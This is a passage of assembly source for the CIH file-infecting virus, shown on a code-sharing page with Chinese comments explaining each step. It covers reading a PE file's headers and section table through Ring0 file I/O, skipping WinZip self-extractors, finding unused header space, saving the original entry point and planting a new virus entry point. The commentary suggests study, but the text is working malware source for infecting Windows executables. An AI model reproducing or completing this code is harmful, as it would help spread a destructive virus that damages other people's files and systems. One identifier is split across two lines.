📄 cih14.txt
字号:
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h ;读取4个字节
pop ecx
push 0000003ch ;读取dos文件头偏移3ch处的Windows文件头首部偏移
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
;读文件到esi
push ebx ; Save File Handle ;保存文件句柄
push 00h ; Set VirusCodeSectionTableEndMark
; *****设置病毒感染标志*****
push 01h ; Size
push edx ; Pointer of File ;edx指向PE文件头偏移00h
push edi ; Address of Buffer ;edi为IFSMgr_Ring0_FileIO的地址(原注释有误)
mov dr1, esp ;保存ESP寄存器
push eax ; Size ???????
; *****读文件的图像头*****
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;要读2个字节(WORD NumberOfSections)
add edx, 07h ; Move EDX to NumberOfSections ;PE文件头+07h为NumberOfSections(块个数)
call edi ; VXDCall IFSMgr_Ring0_FileIO ;读出NumberOfSections(块个数)到esi
; ***** ???????????????????????********
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer
; *****EDX指向文件中块表的入口处*****
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h] ;edx为SectionTable的偏移
; *****获得块的总大小*****
mov al, SizeOfScetionTable ;每个块表项(ScetionTable)的大小(字节)
mov cl, (NumberOfSections-@8)[esi]
mul cl ;每个块表项乘以块个数=块表大小
; ******ESI指向块表的开始处*****
lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)
push eax ; Size ;块表大小
push edx ; Pointer of File ;edx为SectionTable的偏移
push esi ; Address of Buffer
inc ecx
push ecx ;预留病毒块表空间
shl ecx, 03h
push ecx ; Save TotalSizeOfVirusCodeSectionTable
add ecx, eax
add ecx, edx ;ecx+文件的正文的偏移
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;求补,ecx为文件头大小-正文的偏移=未用空间
; ***** 保存病毒第一块代码, 下面各块表的大小,除了代码块表的大小*****
push ecx
xchg ecx, eax ; ECX(块表大小)= Size of Section Table
mov eax, (AddressOfEntryPoint-@9)[esi] ;入口RVA地址
add eax, (ImageBase-@9)[esi] ;装入基址
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeS
tion
jl OnlySetInfectedMark ;未用空间和病毒第一块大小比较,如果小于就只设感染标志
; *****读所有的块表*****
mov eax, ebp ;读的功能号
call edi ; 读块表到esi(@9处)
xchg eax, ebp
; ************ ???????????????*************
push 00000004h
pop ecx ;读4字节
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx] ;edx为第二块的偏移
add edx, 12h ;加10h+2h(10h处为"WinZip....")
call edi ;读4字节到esi
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark ;先判断是否是WinZip自解压文件,如果是就不设置感染标志,不是才设置感染标志
pop edx ;edx指向块表在文件中首址
; *****设置全部病毒块表*****
; EBX = My Virus First Section Code
pop ebx ; 未用空间大小
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1
push edi
add edx, ebp ; ebp为块表大小
push edx ;指向块表后(第一块)
add ebp, esi ; ebp指向病毒数据区的块表后(第一块)
push ebp
; *****设置病毒代码第一块的大小*****
lea eax, [ebp+edi-04h]
mov [eax], ebx ;设置病毒代码第一块的大小(未用空间大小)到病毒块表
; ******设置病毒程序的第一块*****
push ebx ;病毒代码第一块的大小
add edx, edi
push edx ;指向块表后(第一块)+病毒代码第一块的大小 ??????????
lea edi, (MyVirusStart-@9)[esi]
push edi ; 指向病毒开始处
; *****定义病毒程序的入口地址*****
mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的病毒程序入口
; *****设置初始数据*****
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -